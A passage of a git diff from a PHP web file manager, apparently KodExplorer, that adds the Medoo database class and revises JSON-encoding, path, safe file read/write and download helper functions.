PCLZIP_CB_PRE_FILE_NAME,'zip_pre_name' + ); + continue; + } + $result = $archive->add($val, + PCLZIP_OPT_REMOVE_PATH,$remove_path_pre, + PCLZIP_CB_PRE_FILE_NAME,'zip_pre_name' + ); + } + }else if( self::checkIfType($ext,'tar') ){ + //TrOn(10); + $test = array($files); + foreach ($files as $key =>$val) { + $remove_path_pre = _DIR_CLEAR(get_path_father($val)); + $test[] = array($val,$remove_path_pre); + + if($key == 0){ + $result = PclTarCreate($file,array($val), $ext,null, $remove_path_pre); + continue; + } + $result = PclTarAddList($file,array($val),'',$remove_path_pre,$ext); + } + //TrDisplay();exit; + } + return $result; + } +} \ No newline at end of file diff --git a/lib/class/medoo.class.php b/lib/class/medoo.class.php new file mode 100755 index 0000000..ec22589 --- /dev/null +++ b/lib/class/medoo.class.php @@ -0,0 +1,715 @@ + $value){ + $this->$option = $value; + } + }else{ + return false; + } + if ( + isset($this->port) && + is_int($this->port * 1) + ){ + $port = $this->port; + } + $type = strtolower($this->database_type); + $is_port = isset($port); + if (isset($options[ 'prefix' ])){ + $this->prefix = $options[ 'prefix' ]; + } + switch ($type){ + case 'mariadb': + $type = 'mysql'; + case 'mysql': + if ($this->socket){ + $dsn = $type . ':unix_socket=' . $this->socket . ';dbname=' . $this->database_name; + }else{ + $dsn = $type . ':host=' . $this->server . ($is_port ? ';port=' . $port : '') . ';dbname=' . $this->database_name; + } + // Make MySQL using standard quoted identifier + $commands[] = 'SET SQL_MODE=ANSI_QUOTES'; + break; + case 'pgsql': + $dsn = $type . ':host=' . $this->server . ($is_port ? ';port=' . $port : '') . ';dbname=' . $this->database_name; + break; + case 'sybase': + $dsn = 'dblib:host=' . $this->server . ($is_port ? ':' . $port : '') . ';dbname=' . $this->database_name; + break; + case 'oracle': + $dbname = $this->server ? + '//' . $this->server . ($is_port ? ':' . $port : ':1521') . '/' . $this->database_name : + $this->database_name; + $dsn = 'oci:dbname=' . $dbname . ($this->charset ? ';charset=' . $this->charset : ''); + break; + case 'mssql': + $dsn = strstr(PHP_OS, 'WIN') ? + 'sqlsrv:server=' . $this->server . ($is_port ? ',' . $port : '') . ';database=' . $this->database_name : + 'dblib:host=' . $this->server . ($is_port ? ':' . $port : '') . ';dbname=' . $this->database_name; + // Keep MSSQL QUOTED_IDENTIFIER is ON for standard quoting + $commands[] = 'SET QUOTED_IDENTIFIER ON'; + break; + case 'sqlite': + $dsn = $type . ':' . $this->database_file; + $this->username = null; + $this->password = null; + break; + } + if ( + in_array($type, array('mariadb', 'mysql', 'pgsql', 'sybase', 'mssql')) && + $this->charset + ){ + $commands[] = "SET NAMES '" . $this->charset . "'"; + } + $this->pdo = new PDO( + $dsn, + $this->username, + $this->password, + $this->option + ); + foreach ($commands as $value){ + $this->pdo->exec($value); + } + } + catch (PDOException $e) { + throw new Exception($e->getMessage()); + } + } + public function query($query){ + if ($this->debug_mode){ + echo $query; + $this->debug_mode = false; + return false; + } + $this->logs[] = $query; + return $this->pdo->query($query); + } + public function exec($query){ + if ($this->debug_mode){ + echo $query; + $this->debug_mode = false; + return false; + } + $this->logs[] = $query; + return $this->pdo->exec($query); + } + public function quote($string){ + return $this->pdo->quote($string); + } + protected function table_quote($table){ + return '"' . $this->prefix . $table . '"'; + } + protected function column_quote($string){ + preg_match('/(\(JSON\)\s*|^#)?([a-zA-Z0-9_]*)\.([a-zA-Z0-9_]*)/', $string, $column_match); + if (isset($column_match[ 2 ], $column_match[ 3 ])){ + return '"' . $this->prefix . $column_match[ 2 ] . '"."' . $column_match[ 3 ] . '"'; + } + return '"' . $string . '"'; + } + protected function column_push(&$columns){ + if ($columns == '*'){ + return $columns; + } + if (is_string($columns)){ + $columns = array($columns); + } + $stack = array(); + foreach ($columns as $key => $value){ + if (is_array($value)){ + $stack[] = $this->column_push($value); + }else{ + preg_match('/([a-zA-Z0-9_\-\.]*)\s*\(([a-zA-Z0-9_\-]*)\)/i', $value, $match); + if (isset($match[ 1 ], $match[ 2 ])){ + $stack[] = $this->column_quote( $match[ 1 ] ) . ' AS ' . $this->column_quote( $match[ 2 ] ); + $columns[ $key ] = $match[ 2 ]; + }else{ + $stack[] = $this->column_quote( $value ); + } + } + } + return implode($stack, ','); + } + protected function array_quote($array){ + $temp = array(); + foreach ($array as $value){ + $temp[] = is_int($value) ? $value : $this->pdo->quote($value); + } + return implode($temp, ','); + } + protected function inner_conjunct($data, $conjunctor, $outer_conjunctor){ + $haystack = array(); + foreach ($data as $value){ + $haystack[] = '(' . $this->data_implode($value, $conjunctor) . ')'; + } + return implode($outer_conjunctor . ' ', $haystack); + } + protected function fn_quote($column, $string){ + return (strpos($column, '#') === 0 && preg_match('/^[A-Z0-9\_]*\([^)]*\)$/', $string)) ? + $string : + $this->quote($string); + } + protected function data_implode($data, $conjunctor, $outer_conjunctor = null){ + $wheres = array(); + foreach ($data as $key => $value){ + $type = gettype($value); + if ( + preg_match("/^(AND|OR)(\s+#.*)?$/i", $key, $relation_match) && + $type == 'array' + ){ + $wheres[] = 0 !== count(array_diff_key($value, array_keys(array_keys($value)))) ? + '(' . $this->data_implode($value, ' ' . $relation_match[ 1 ]) . ')' : + '(' . $this->inner_conjunct($value, ' ' . $relation_match[ 1 ], $conjunctor) . ')'; + }else{ + preg_match('/(#?)([\w\.\-]+)(\[(\>|\>\=|\<|\<\=|\!|\<\>|\>\<|\!?~)\])?/i', $key, $match); + $column = $this->column_quote($match[ 2 ]); + if (isset($match[ 4 ])){ + $operator = $match[ 4 ]; + if ($operator == '!'){ + switch ($type){ + case 'NULL': + $wheres[] = $column . ' IS NOT NULL'; + break; + case 'array': + $wheres[] = $column . ' NOT IN (' . $this->array_quote($value) . ')'; + break; + case 'integer': + case 'double': + $wheres[] = $column . ' != ' . $value; + break; + case 'boolean': + $wheres[] = $column . ' != ' . ($value ? '1' : '0'); + break; + case 'string': + $wheres[] = $column . ' != ' . $this->fn_quote($key, $value); + break; + } + } + if ($operator == '<>' || $operator == '><'){ + if ($type == 'array'){ + if ($operator == '><'){ + $column .= ' NOT'; + } + if (is_numeric($value[ 0 ]) && is_numeric($value[ 1 ])){ + $wheres[] = '(' . $column . ' BETWEEN ' . $value[ 0 ] . ' AND ' . $value[ 1 ] . ')'; + } + else{ + $wheres[] = '(' . $column . ' BETWEEN ' . $this->quote($value[ 0 ]) . ' AND ' . $this->quote($value[ 1 ]) . ')'; + } + } + } + if ($operator == '~' || $operator == '!~'){ + if ($type != 'array'){ + $value = array($value); + } + $like_clauses = array(); + foreach ($value as $item){ + $item = strval($item); + if (preg_match('/^(?!(%|\[|_])).+(?fn_quote($key, $item); + } + $wheres[] = implode(' OR ', $like_clauses); + } + if (in_array($operator, array('>', '>=', '<', '<='))){ + $condition = $column . ' ' . $operator . ' '; + if (is_numeric($value)){ + $condition .= $value; + }elseif (strpos($key, '#') === 0){ + $condition .= $this->fn_quote($key, $value); + }else{ + $condition .= $this->quote($value); + } + $wheres[] = $condition; + } + }else{ + switch ($type){ + case 'NULL': + $wheres[] = $column . ' IS NULL'; + break; + case 'array': + $wheres[] = $column . ' IN (' . $this->array_quote($value) . ')'; + break; + case 'integer': + case 'double': + $wheres[] = $column . ' = ' . $value; + break; + case 'boolean': + $wheres[] = $column . ' = ' . ($value ? '1' : '0'); + break; + case 'string': + $wheres[] = $column . ' = ' . $this->fn_quote($key, $value); + break; + } + } + } + } + return implode($conjunctor . ' ', $wheres); + } + protected function where_clause($where){ + $where_clause = ''; + if (is_array($where)){ + $where_keys = array_keys($where); + $where_AND = preg_grep("/^AND\s*#?$/i", $where_keys); + $where_OR = preg_grep("/^OR\s*#?$/i", $where_keys); + $single_condition = array_diff_key($where, array_flip( + array('AND', 'OR', 'GROUP', 'ORDER', 'HAVING', 'LIMIT', 'LIKE', 'MATCH') + )); + if ($single_condition != array()){ + $condition = $this->data_implode($single_condition, ''); + if ($condition != ''){ + $where_clause = ' WHERE ' . $condition; + } + } + if (!empty($where_AND)){ + $value = array_values($where_AND); + $where_clause = ' WHERE ' . $this->data_implode($where[ $value[ 0 ] ], ' AND'); + } + if (!empty($where_OR)){ + $value = array_values($where_OR); + $where_clause = ' WHERE ' . $this->data_implode($where[ $value[ 0 ] ], ' OR'); + } + if (isset($where[ 'MATCH' ])){ + $MATCH = $where[ 'MATCH' ]; + if (is_array($MATCH) && isset($MATCH[ 'columns' ], $MATCH[ 'keyword' ])){ + $where_clause .= ($where_clause != '' ? ' AND ' : ' WHERE ') . ' MATCH ("' . str_replace('.', '"."', implode($MATCH[ 'columns' ], '", "')) . '") AGAINST (' . $this->quote($MATCH[ 'keyword' ]) . ')'; + } + } + if (isset($where[ 'GROUP' ])){ + $where_clause .= ' GROUP BY ' . $this->column_quote($where[ 'GROUP' ]); + if (isset($where[ 'HAVING' ])){ + $where_clause .= ' HAVING ' . $this->data_implode($where[ 'HAVING' ], ' AND'); + } + } + if (isset($where[ 'ORDER' ])){ + $ORDER = $where[ 'ORDER' ]; + if (is_array($ORDER)){ + $stack = array(); + foreach ($ORDER as $column => $value){ + if (is_array($value)){ + $stack[] = 'FIELD(' . $this->column_quote($column) . ', ' . $this->array_quote($value) . ')'; + }else if ($value === 'ASC' || $value === 'DESC'){ + $stack[] = $this->column_quote($column) . ' ' . $value; + }else if (is_int($column)){ + $stack[] = $this->column_quote($value); + } + } + $where_clause .= ' ORDER BY ' . implode($stack, ','); + }else{ + $where_clause .= ' ORDER BY ' . $this->column_quote($ORDER); + } + } + if (isset($where[ 'LIMIT' ])){ + $LIMIT = $where[ 'LIMIT' ]; + if (is_numeric($LIMIT)){ + $where_clause .= ' LIMIT ' . $LIMIT; + } + if ( + is_array($LIMIT) && + is_numeric($LIMIT[ 0 ]) && + is_numeric($LIMIT[ 1 ]) + ){ + if ($this->database_type === 'pgsql'){ + $where_clause .= ' OFFSET ' . $LIMIT[ 0 ] . ' LIMIT ' . $LIMIT[ 1 ]; + }else{ + $where_clause .= ' LIMIT ' . $LIMIT[ 0 ] . ',' . $LIMIT[ 1 ]; + } + } + } + }else{ + if ($where != null){ + $where_clause .= ' ' . $where; + } + } + return $where_clause; + } + protected function select_context($table, $join, &$columns = null, $where = null, $column_fn = null){ + preg_match('/([a-zA-Z0-9_\-]*)\s*\(([a-zA-Z0-9_\-]*)\)/i', $table, $table_match); + if (isset($table_match[ 1 ], $table_match[ 2 ])){ + $table = $this->table_quote($table_match[ 1 ]); + $table_query = $this->table_quote($table_match[ 1 ]) . ' AS ' . $this->table_quote($table_match[ 2 ]); + }else{ + $table = $this->table_quote($table); + $table_query = $table; + } + $join_key = is_array($join) ? array_keys($join) : null; + if ( + isset($join_key[ 0 ]) && + strpos($join_key[ 0 ], '[') === 0 + ){ + $table_join = array(); + $join_array = array( + '>' => 'LEFT', + '<' => 'RIGHT', + '<>' => 'FULL', + '><' => 'INNER' + ); + foreach($join as $sub_table => $relation){ + preg_match('/(\[(\<|\>|\>\<|\<\>)\])?([a-zA-Z0-9_\-]*)\s?(\(([a-zA-Z0-9_\-]*)\))?/', $sub_table, $match); + if ($match[ 2 ] != '' && $match[ 3 ] != ''){ + if (is_string($relation)){ + $relation = 'USING ("' . $relation . '")'; + } + if (is_array($relation)){ + // For ['column1', 'column2'] + if (isset($relation[ 0 ])){ + $relation = 'USING ("' . implode($relation, '", "') . '")'; + }else{ + $joins = array(); + foreach ($relation as $key => $value){ + $joins[] = ( + strpos($key, '.') > 0 ? + // For ['tableB.column' => 'column'] + $this->column_quote($key) : + // For ['column1' => 'column2'] + $table . '."' . $key . '"' + ) . + ' = ' . + $this->table_quote(isset($match[ 5 ]) ? $match[ 5 ] : $match[ 3 ]) . '."' . $value . '"'; + } + $relation = 'ON ' . implode($joins, ' AND '); + } + } + $table_name = $this->table_quote($match[ 3 ]) . ' '; + if (isset($match[ 5 ])){ + $table_name .= 'AS ' . $this->table_quote($match[ 5 ]) . ' '; + } + $table_join[] = $join_array[ $match[ 2 ] ] . ' JOIN ' . $table_name . $relation; + } + } + $table_query .= ' ' . implode($table_join, ' '); + }else{ + if (is_null($columns)){ + if (is_null($where)){ + if ( + is_array($join) && + isset($column_fn) + ){ + $where = $join; + $columns = null; + }else{ + $where = null; + $columns = $join; + } + }else{ + $where = $join; + $columns = null; + } + }else{ + $where = $columns; + $columns = $join; + } + } + if (isset($column_fn)){ + if ($column_fn == 1){ + $column = '1'; + if (is_null($where)){ + $where = $columns; + } + }else{ + if (empty($columns)){ + $columns = '*'; + $where = $join; + } + $column = $column_fn . '(' . $this->column_push($columns) . ')'; + } + }else{ + $column = $this->column_push($columns); + } + return 'SELECT ' . $column . ' FROM ' . $table_query . $this->where_clause($where); + } + protected function data_map($index, $key, $value, $data, &$stack){ + if (is_array($value)){ + $sub_stack = array(); + foreach ($value as $sub_key => $sub_value){ + if (is_array($sub_value)){ + $current_stack = $stack[ $index ][ $key ]; + $this->data_map(false, $sub_key, $sub_value, $data, $current_stack); + $stack[ $index ][ $key ][ $sub_key ] = $current_stack[ 0 ][ $sub_key ]; + }else{ + $this->data_map(false, preg_replace('/^[\w]*\./i', "", $sub_value), $sub_key, $data, $sub_stack); + $stack[ $index ][ $key ] = $sub_stack; + } + } + }else{ + if ($index !== false){ + $stack[ $index ][ $value ] = $data[ $value ]; + }else{ + if (preg_match('/[a-zA-Z0-9_\-\.]*\s*\(([a-zA-Z0-9_\-]*)\)/i', $key, $key_match)){ + $key = $key_match[ 1 ]; + } + $stack[ $key ] = $data[ $key ]; + } + } + } + public function select($table, $join, $columns = null, $where = null){ + $column = $where == null ? $join : $columns; + $is_single_column = (is_string($column) && $column !== '*'); + + $query = $this->query($this->select_context($table, $join, $columns, $where)); + $stack = array(); + $index = 0; + if (!$query){ + return false; + } + if ($columns === '*'){ + return $query->fetchAll(PDO::FETCH_ASSOC); + } + if ($is_single_column){ + return $query->fetchAll(PDO::FETCH_COLUMN); + } + while ($row = $query->fetch(PDO::FETCH_ASSOC)){ + foreach ($columns as $key => $value){ + if (is_array($value)){ + $this->data_map($index, $key, $value, $row, $stack); + }else{ + $this->data_map($index, $key, preg_replace('/^[\w]*\./i', "", $value), $row, $stack); + } + } + $index++; + } + return $stack; + } + public function insert($table, $datas){ + $lastId = array(); + // Check indexed or associative array + if (!isset($datas[ 0 ])){ + $datas = array($datas); + } + foreach ($datas as $data){ + $values = array(); + $columns = array(); + foreach ($data as $key => $value){ + $columns[] = $this->column_quote(preg_replace("/^(\(JSON\)\s*|#)/i", "", $key)); + switch (gettype($value)){ + case 'NULL': + $values[] = 'NULL'; + break; + case 'array': + preg_match("/\(JSON\)\s*([\w]+)/i", $key, $column_match); + $values[] = isset($column_match[ 0 ]) ? + $this->quote(json_encode($value)) : + $this->quote(serialize($value)); + break; + case 'boolean': + $values[] = ($value ? '1' : '0'); + break; + case 'integer': + case 'double': + case 'string': + $values[] = $this->fn_quote($key, $value); + break; + } + } + $this->exec('INSERT INTO ' . $this->table_quote($table) . ' (' . implode(', ', $columns) . ') VALUES (' . implode($values, ', ') . ')'); + $lastId[] = $this->pdo->lastInsertId(); + } + return count($lastId) > 1 ? $lastId : $lastId[ 0 ]; + } + public function update($table, $data, $where = null){ + $fields = array(); + foreach ($data as $key => $value){ + preg_match('/([\w]+)(\[(\+|\-|\*|\/)\])?/i', $key, $match); + if (isset($match[ 3 ])){ + if (is_numeric($value)){ + $fields[] = $this->column_quote($match[ 1 ]) . ' = ' . $this->column_quote($match[ 1 ]) . ' ' . $match[ 3 ] . ' ' . $value; + } + }else{ + $column = $this->column_quote(preg_replace("/^(\(JSON\)\s*|#)/i", "", $key)); + switch (gettype($value)){ + case 'NULL': + $fields[] = $column . ' = NULL'; + break; + case 'array': + preg_match("/\(JSON\)\s*([\w]+)/i", $key, $column_match); + $fields[] = $column . ' = ' . $this->quote( + isset($column_match[ 0 ]) ? json_encode($value) : serialize($value) + ); + break; + case 'boolean': + $fields[] = $column . ' = ' . ($value ? '1' : '0'); + break; + case 'integer': + case 'double': + case 'string': + $fields[] = $column . ' = ' . $this->fn_quote($key, $value); + break; + } + } + } + return $this->exec('UPDATE ' . $this->table_quote($table) . ' SET ' . implode(', ', $fields) . $this->where_clause($where)); + } + public function delete($table, $where){ + return $this->exec('DELETE FROM ' . $this->table_quote($table) . $this->where_clause($where)); + } + public function replace($table, $columns, $search = null, $replace = null, $where = null){ + if (is_array($columns)){ + $replace_query = array(); + foreach ($columns as $column => $replacements){ + foreach ($replacements as $replace_search => $replace_replacement){ + $replace_query[] = $column . ' = REPLACE(' . $this->column_quote($column) . ', ' . $this->quote($replace_search) . ', ' . $this->quote($replace_replacement) . ')'; + } + } + $replace_query = implode(', ', $replace_query); + $where = $search; + }else{ + if (is_array($search)){ + $replace_query = array(); + foreach ($search as $replace_search => $replace_replacement){ + $replace_query[] = $columns . ' = REPLACE(' . $this->column_quote($columns) . ', ' . $this->quote($replace_search) . ', ' . $this->quote($replace_replacement) . ')'; + } + $replace_query = implode(', ', $replace_query); + $where = $replace; + }else{ + $replace_query = $columns . ' = REPLACE(' . $this->column_quote($columns) . ', ' . $this->quote($search) . ', ' . $this->quote($replace) . ')'; + } + } + return $this->exec('UPDATE ' . $this->table_quote($table) . ' SET ' . $replace_query . $this->where_clause($where)); + } + public function get($table, $join = null, $columns = null, $where = null){ + $column = $where == null ? $join : $columns; + $is_single_column = (is_string($column) && $column !== '*'); + $query = $this->query($this->select_context($table, $join, $columns, $where) . ' LIMIT 1'); + if ($query){ + $data = $query->fetchAll(PDO::FETCH_ASSOC); + if (isset($data[ 0 ])){ + if ($is_single_column){ + return $data[ 0 ][ preg_replace('/^[\w]*\./i', "", $column) ]; + } + + if ($column === '*'){ + return $data[ 0 ]; + } + $stack = array(); + foreach ($columns as $key => $value){ + if (is_array($value)){ + $this->data_map(0, $key, $value, $data[ 0 ], $stack); + }else{ + $this->data_map(0, $key, preg_replace('/^[\w]*\./i', "", $value), $data[ 0 ], $stack); + } + } + return $stack[ 0 ]; + }else{ + return false; + } + }else{ + return false; + } + } + public function has($table, $join, $where = null){ + $column = null; + $query = $this->query('SELECT EXISTS(' . $this->select_context($table, $join, $column, $where, 1) . ')'); + if ($query){ + return $query->fetchColumn() === '1'; + }else{ + return false; + } + } + public function count($table, $join = null, $column = null, $where = null){ + $query = $this->query($this->select_context($table, $join, $column, $where, 'COUNT')); + return $query ? 0 + $query->fetchColumn() : false; + } + public function max($table, $join, $column = null, $where = null){ + $query = $this->query($this->select_context($table, $join, $column, $where, 'MAX')); + if ($query){ + $max = $query->fetchColumn(); + return is_numeric($max) ? $max + 0 : $max; + }else{ + return false; + } + } + public function min($table, $join, $column = null, $where = null){ + $query = $this->query($this->select_context($table, $join, $column, $where, 'MIN')); + if ($query){ + $min = $query->fetchColumn(); + return is_numeric($min) ? $min + 0 : $min; + }else{ + return false; + } + } + public function avg($table, $join, $column = null, $where = null){ + $query = $this->query($this->select_context($table, $join, $column, $where, 'AVG')); + return $query ? 0 + $query->fetchColumn() : false; + } + public function sum($table, $join, $column = null, $where = null){ + $query = $this->query($this->select_context($table, $join, $column, $where, 'SUM')); + return $query ? 0 + $query->fetchColumn() : false; + } + public function action($actions){ + if (is_callable($actions)){ + $this->pdo->beginTransaction(); + $result = $actions($this); + if ($result === false){ + $this->pdo->rollBack(); + }else{ + $this->pdo->commit(); + } + }else{ + return false; + } + } + public function debug(){ + $this->debug_mode = true; + return $this; + } + public function error(){ + return $this->pdo->errorInfo(); + } + public function last_query(){ + return end($this->logs); + } + public function log(){ + return $this->logs; + } + public function info(){ + $output = array( + 'server' => 'SERVER_INFO', + 'driver' => 'DRIVER_NAME', + 'client' => 'CLIENT_VERSION', + 'version' => 'SERVER_VERSION', + 'connection' => 'CONNECTION_STATUS' + ); + foreach ($output as $key => $value){ + $output[ $key ] = $this->pdo->getAttribute(constant('PDO::ATTR_' . $value)); + } + return $output; + } +} + diff --git a/lib/function/common.function.php b/lib/function/common.function.php index 88962c4..d2037a8 100755 --- a/lib/function/common.function.php +++ b/lib/function/common.function.php @@ -383,10 +383,12 @@ function show_tips($message,$url= '', $time = 3){ #msgbox #title{color: #888;border-bottom: 1px solid #ddd;padding: 10px 0;margin: 0 0 15px;font-size:18px;} #msgbox #info a{color: #64b8fb;text-decoration: none;padding: 2px 0px;border-bottom: 1px solid;} #msgbox a{text-decoration:none;color:#2196F3;}#msgbox a:hover{color:#f60;border-bottom:1px solid} + #msgbox pre{word-break: break-all;word-wrap: break-word;white-space: pre-wrap; + background: #002b36;padding:1em;color: #839496;border-left: 6px solid #8e8e8e;border-radius: 3px;}
    -
    Warning!
    +
    警告 (Warning!)
    $message
    $info
    @@ -438,69 +440,86 @@ function show_json($data,$code = true,$info=''){ ob_end_clean(); header("X-Powered-By: kodExplorer."); header('Content-Type: application/json; charset=utf-8'); - $json = json_encode($result); + $json = json_encode($result,true); if($json === false){ - $json = __json_encode($result); + $json = __json_encode($result); } echo $json; exit; } -function __json_encode( $data ) { - if( is_array($data) || is_object($data) ) { - $islist = is_array($data) && ( empty($data) || array_keys($data) === range(0,count($data)-1) ); - - if( $islist ) { - $json = '[' . implode(',', array_map('__json_encode', $data) ) . ']'; - } else { - $items = Array(); - foreach( $data as $key => $value ) { - $items[] = __json_encode("$key") . ':' . __json_encode($value); - } - $json = '{' . implode(',', $items) . '}'; - } - } else if( is_string($data) ) { - $string = '"' . addcslashes($data, "\\\"\n\r\t/" . chr(8) . chr(12)) . '"'; - $json = ''; - $len = strlen($string); - # Convert UTF-8 to Hexadecimal Codepoints. - for( $i = 0; $i < $len; $i++ ) { - $char = $string[$i]; - $c1 = ord($char); - - # Single byte; - if( $c1 <128 ) { - $json .= ($c1 > 31) ? $char : sprintf("\\u%04x", $c1); - continue; - } - - # Double byte - $c2 = ord($string[++$i]); - if ( ($c1 & 32) === 0 ) { - $json .= sprintf("\\u%04x", ($c1 - 192) * 64 + $c2 - 128); - continue; - } - - # Triple - $c3 = ord($string[++$i]); - if( ($c1 & 16) === 0 ) { - $json .= sprintf("\\u%04x", (($c1 - 224) <<12) + (($c2 - 128) << 6) + ($c3 - 128)); - continue; - } - - # Quadruple - $c4 = ord($string[++$i]); - if( ($c1 & 8 ) === 0 ) { - $u = (($c1 & 15) << 2) + (($c2>>4) & 3) - 1; - $w1 = (54<<10) + ($u<<6) + (($c2 & 15) << 2) + (($c3>>4) & 3); - $w2 = (55<<10) + (($c3 & 15)<<6) + ($c4-128); - $json .= sprintf("\\u%04x\\u%04x", $w1, $w2); - } - } - } else { - $json = strtolower(var_export( $data, true )); - } - return $json; + +function str2hex($string){ + $hex=''; + for ($i=0; $i < strlen($string); $i++){ + $hex .= dechex(ord($string[$i])); + } + return $hex; +} + +function hex2str($hex){ + $string=''; + for ($i=0; $i < strlen($hex)-1; $i+=2){ + $string .= chr(hexdec($hex[$i].$hex[$i+1])); + } + return $string; +} + +function __json_encode( $data ) { + if( is_array($data) || is_object($data) ) { + $islist = is_array($data) && ( empty($data) || array_keys($data) === range(0,count($data)-1) ); + if( $islist ) { + $json = '[' . implode(',', array_map('__json_encode', $data) ) . ']'; + } else { + $items = Array(); + foreach( $data as $key => $value ) { + $items[] = __json_encode("$key") . ':' . __json_encode($value); + } + $json = '{' . implode(',', $items) . '}'; + } + } else if( is_string($data) ) { + $string = addcslashes($data, "\\\"\n\r\t/" . chr(8) . chr(12)); + $json = ''; + $len = strlen($string); + # Convert UTF-8 to Hexadecimal Codepoints. + for( $i = 0; $i < $len; $i++ ) { + $char = $string[$i]; + $c1 = ord($char); + + # Single byte; + if( $c1 <128 ) { + $json .= ($c1 > 31) ? $char : sprintf("\\u%04x", $c1); + continue; + } + + # Double byte + $c2 = ord($string[++$i]); + if ( ($c1 & 32) === 0 ) { + $json .= sprintf("\\u%04x", ($c1 - 192) * 64 + $c2 - 128); + continue; + } + + # Triple + $c3 = ord($string[++$i]); + if( ($c1 & 16) === 0 ) { + $json .= sprintf("\\u%04x", (($c1 - 224) <<12) + (($c2 - 128) << 6) + ($c3 - 128)); + continue; + } + + # Quadruple + $c4 = ord($string[++$i]); + if( ($c1 & 8 ) === 0 ) { + $u = (($c1 & 15) << 2) + (($c2>>4) & 3) - 1; + $w1 = (54<<10) + ($u<<6) + (($c2 & 15) << 2) + (($c3>>4) & 3); + $w2 = (55<<10) + (($c3 & 15)<<6) + ($c4-128); + $json .= sprintf("\\u%04x\\u%04x", $w1, $w2); + } + } + $json = '"'.addcslashes($data, "\"").'"'; + } else { + $json = strtolower(var_export( $data, true )); + } + return $json; } /** diff --git a/lib/function/file.function.php b/lib/function/file.function.php index d46c4cb..1679f0b 100755 --- a/lib/function/file.function.php +++ b/lib/function/file.function.php @@ -47,6 +47,14 @@ function iconv_system($str){ if (!function_exists('iconv')){ return $str; } + + //去除中文空格UTF8; windows下展示异常;过滤文件上传、新建文件等时的文件名 + //文件名已存在含有该字符时,没有办法操作. + $char_empty = "\xc2\xa0"; + if(strpos($str,$char_empty) !== false){ + $str = str_replace($char_empty," ",$str); + } + global $config; $result = iconv($config['app_charset'], $config['system_charset'], $str); if (strlen($result)==0) {//转换失败 @@ -205,7 +213,11 @@ function folder_info($path){ */ function get_path_this($path){ $path = str_replace('\\','/', rtrim(trim($path),'/')); - return substr($path,strrpos($path,'/')+1); + $pos = strrpos($path,'/'); + if($pos === false){ + return $path; + } + return substr($path,$pos+1); } /** * 获取一个路径(文件夹&文件) 父目录 @@ -213,7 +225,11 @@ function get_path_this($path){ */ function get_path_father($path){ $path = str_replace('\\','/', rtrim(trim($path),'/')); - return substr($path, 0, strrpos($path,'/')+1); + $pos = strrpos($path,'/'); + if($pos === false){ + return $path; + } + return substr($path, 0,$pos+1); } /** * 获取扩展名 @@ -611,6 +627,59 @@ function recursion_dir($path,&$dir,&$file,$deepest=-1,$deep=0){ closedir($dh); return true; } + + +// 安全读取文件,避免并发下读取数据为空 +function file_read_safe($file,$timeout = 0.1){ + if(!$file || !file_exists($file)) return false; + + $start_time = microtime(true); + $index = 0; + do{ + $index++; + clearstatcache(); + $file_size = filesize($file); + $result = @file_get_contents($file); + if( $result === false || + !file_exists($file) || + strlen($result) !== $file_size){ + usleep(round(rand(0,1000)*50));//0.01~10ms + }else{ + return $result; + } + }while($index<=100 && (microtime(true)-$start_time) < $timeout ); + return false; +} + +// 安全读取文件,避免并发下读取数据为空 +function file_wirte_safe($file,$buffer,$timeout=0.1){ + $file_temp = $file.mtime().rand_string(4); + if(!$fp = fopen($file_temp, "w")){ + @unlink($file_temp); + return false; + } + fwrite($fp, $buffer); + fclose($fp); + + $file_lock = $file.'.lock'; + $start_time = microtime(true); + $index = 0; + do{ + $index++; + if(!file_exists($file_lock)){ + @rename($file,$file_lock); + } + $result = @rename($file_temp,$file); + if( $result === false || file_exists($file_temp)){ + usleep(round(rand(0,1000)*10));//0.01~10ms + }else{ + @unlink($file_lock); + return true; + } + }while($index<=100 && (microtime(true)-$start_time)<$timeout ); + return false; +} + /* * $search 为包含的字符串 * is_content 表示是否搜索文件内容;默认不搜索 @@ -751,14 +820,14 @@ function file_search($path,$search,$is_case){ */ function chmod_path($path,$mod){ if (!isset($mod)) $mod = 0777; - if (!file_exists($path)) return; + if (!file_exists($path)) return false; if (is_file($path)) return @chmod($path,$mod); if (!$dh = @opendir($path)) return false; while (($file = readdir($dh)) !== false){ if ($file != "." && $file != "..") { $fullpath = $path . '/' . $file; - @chmod($fullpath,$mod); chmod_path($fullpath,$mod); + @chmod($fullpath,$mod); } } closedir($dh); @@ -843,41 +912,45 @@ function is_text_file($ext){ * 输出、文件下载,断点续传支持 * 默认以附件方式下载;$download为false时则为输出文件 * 视频播放拖拽:流媒体服务器 - * http://bbs.cenfun.com/thread-17246-1-1.html - * http://stackoverflow.com/questions/1779006/seeking-in-remote-flv-files-using-php * 文件缓存:http://blog.csdn.net/eroswang/article/details/8302191 */ -function file_put_out($file,$download=false){ - if (!is_file($file)) show_json('not a file!'); - if (!file_exists($file)) show_json('file not exists',false); - if (!path_readable($file)) show_json('file not readable',false); +function file_put_out($file,$download=false,$download_filename=false){ + $error = false; + if (!file_exists($file)){ + $error = 'file not exists'; + }else if (!path_readable($file)){ + $error = 'file not readable'; + }else if (!$fp = @fopen($file, "rb")){ + $error = 'file open error!'; + } - //system-charset - $ua = $_SERVER['HTTP_USER_AGENT']; - if( preg_match('/MSIE/',$ua) || preg_match('/Trident/',$ua) ){ - $filename = get_path_this($file); - }else if( stripos($ua,"firefox") ){// space cute bug - $filename = iconv_app(get_path_this($file)); - $filename = str_replace(" ","_", $filename); - }else{//utf-8 - $filename = iconv_app(get_path_this($file)); + if($error !== false){ + if($download_filename === false){ + return; + }else{ + show_json($error,false); + } } + $start= 0; + $file_size = get_filesize($file); + $end = $file_size - 1; + @ob_end_clean(); @set_time_limit(0); - ob_end_clean(); - $mime = get_file_mime(get_path_ext($file)); - $time = gmdate('D, d M Y H:i:s', filemtime($file)); - if ($download || - (strstr($mime,'application/') && $mime!='application/x-shockwave-flash') ) {//下载或者application则设置下载头 - if( preg_match('/MSIE/',$_SERVER['HTTP_USER_AGENT']) || - preg_match('/Trident/',$_SERVER['HTTP_USER_AGENT'])){ - if($GLOBALS['config']['system_os']!='windows'){//linux主机 ie浏览器;中文文件下载urlencode问题 - $filename = str_replace('+','%20',urlencode($filename)); - } - } + + $ua = $_SERVER['HTTP_USER_AGENT']; + $time = gmdate('D, d M Y H:i:s',filemtime($file)); + $filename = get_path_this($file); + if($download_filename !== false){ + $filename = $download_filename; + } + + $mime = get_file_mime(get_path_ext($filename)); + $filename_output = rawurlencode(iconv_app($filename)); + if ($download || (strstr($mime,'application/') && $mime!='application/x-shockwave-flash') ) { header("Content-Type: application/octet-stream"); header("Content-Transfer-Encoding: binary"); - 